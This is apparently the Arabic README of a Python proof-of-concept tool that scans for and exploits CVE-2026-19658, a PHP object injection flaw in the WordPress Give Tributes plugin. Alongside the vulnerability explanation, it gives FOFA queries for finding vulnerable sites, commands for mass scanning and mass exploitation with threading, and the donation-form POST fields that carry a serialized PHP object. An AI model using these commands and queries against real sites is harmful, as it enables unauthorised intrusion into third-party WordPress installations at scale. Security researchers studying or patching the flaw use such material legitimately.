
مدقق Python 3 ومساعد استغلال لـ CVE-2026-19658، وهي ثغرة حقن كائنات PHP في إضافة WordPress Give Tributes، مع اكتشاف الأهداف عبر FOFA واستغلال نموذج التبرع القديم.
أداة إثبات مفهوم بلغة Python 3 لفحص واستغلال سلسلة التبرعات الخاصة بـ CVE-2026-19658 في إضافة WordPress المسماة Give - Tributes (Liquid Web / GiveWP).
| المنصة | إضافة WordPress (تتطلب نواة GiveWP) |
| المكوّن | Give - Tributes |
| المتأثر | ≤ 2.3.1 |
| تم الإصلاح في | 2.3.1.1+ (حقول eCard متعددة المستلمين بعد التنقية) |
| CVSS | 9.8 حرج |
| المصادقة | غير مصادق عليه (نموذج التبرع القديم) |
| CWE | CWE-502 — إلغاء تسلسل البيانات غير الموثوقة |
| المُعيِّن | Wordfence |
عند تفعيل Allow Multiple Recipients لبطاقات eCards وتعطيل eCard custom message (الافتراضي)، تخزّن الإصدارات المتأثرة بيانات مستلم eCard من $_POST الخام في بيانات التبرع الوصفية (meta). يستخدم التحقق من حقول GiveWP نسخة give_clean() من $_POST (حيث تُفرَّغ السلاسل المتسلسلة هناك)، لكن insert_tribute_data() يقرأ $_POST غير المنقّى، لذا يمكن أن يحتوي first_name / last_name الخاص بالمستلم الثاني على كائن PHP متسلسل.
التأثير: لا توجد سلسلة POP معروفة داخل Give Tributes وحدها. يُلغى تسلسل البيانات الوصفية عند قراءتها (مثل معاينة/إعادة إرسال eCard في لوحة الإدارة). يتطلب تنفيذ التعليمات عن بُعد (RCE) أو تأثيرًا تدميريًا سلسلة أدوات (gadget chain) من إضافة أو قالب آخر مثبّت.
[give_form] / v2)، وليس Visual Form Builder الخاص بـ v3 فقطmanual في بيئة التطوير/الاختبار)pip install -r requirements.txtpip install -r requirements.txt
# هدف واحد — فحص (تدفق الطرفية مفعّل افتراضيًا مع --list)
python poc.py -u https://target.example --mode check
# فحص جماعي
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# هدف واحد — استغلال (الأهداف المصرّح بها فقط)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# استغلال جماعي من مخرجات الفحص
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
أمثلة:
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
قائمة المضيفين (نطاق واحد لكل سطر):
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
تصدير FOFA CSV:
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
| الخيار | الوصف |
|---|---|
-u, --url | عنوان URL أساسي واحد |
--list | قائمة عناوين URL، أو ملف مضيفين، أو candidates.jsonl |
--mode | check أو exploit |
--form-url | مسار صفحة التبرع أو عنوان URL كامل |
--form-id | معرّف منشور نموذج Give |
--paths | مسارات إضافية للزحف بحثًا عن النماذج |
--payload | كائن متسلسل لـ first_name الخاص بالمستلم الثاني |
--gateway | payment-mode الخاص بـ Give (الافتراضي manual) |
--email | give_email الخاص بالمتبرع |
--flow | سطر واحد لكل هدف في التشغيلات الجماعية (الافتراضي مع --list) |
--no-flow | ملخص التقدم فقط |
--quiet, -q | مخرجات طرفية مختصرة |
--threads, -j | التزامن الجماعي (الافتراضي 12) |
--output | سجل JSONL (الافتراضي cve_2026_19658_results.jsonl) |
--vuln-list | سطور النتائج النصية / المستغلة (الافتراضي hits.txt) |
--candidates-list | بيانات JSONL الوصفية للفحص (الافتراضي candidates.jsonl) |
استخدم --vuln-list exploited.txt في تشغيلات الاستغلال حتى لا تُستبدل نتائج الفحص في hits.txt.
| الملف | الوضع | المحتوى |
|---|---|---|
cve_2026_19658_results.jsonl | كلاهما | JSON كامل لكل هدف |
hits.txt | check | عناوين URL التي تحتوي على exploitable_candidate |
candidates.jsonl | check | best_form، تلميحات الإصدار |
exploited.txt | exploit | url|payment=… عند تأكيد التبرع |
status في الفحص| الحالة | المعنى |
|---|---|
candidate | إضافة متأثرة + Give + نموذج قديم مع واجهة tributes |
vulnerable_no_form | الإضافة/الإصدار سليم، لم يُعثر على نموذج مناسب في المسارات المزحوفة |
patched | Tributes > 2.3.1 أو ≥ 2.3.1.1 (عند قراءة الإصدار) |
give_only | Give بدون Tributes قابلة للكشف |
no_plugin | لم يتم كشف Tributes |
لا يمكن للفحص عن بُعد رؤية "Allow Multiple Recipients" بشكل موثوق؛ قد تفشل المرشحات في وقت الاستغلال.
first_name الثاني.manual معطّلة في بيئة الإنتاج — جرّب البوابات الظاهرة في النموذج (stripe, paypal, test, …).give validation rejected donation: خيارات tribute/notify، أو المبلغ، أو عدم تطابق البوابة.give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
قوائم الفحص المحلية ومخرجات التشغيل (list.txt، fofa*.csv، *.jsonl، hits.txt، …) موجودة في .gitignore ولا ينبغي إيداعها.
لأغراض اختبار الأمان المصرّح به والتعليم فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد البرامج.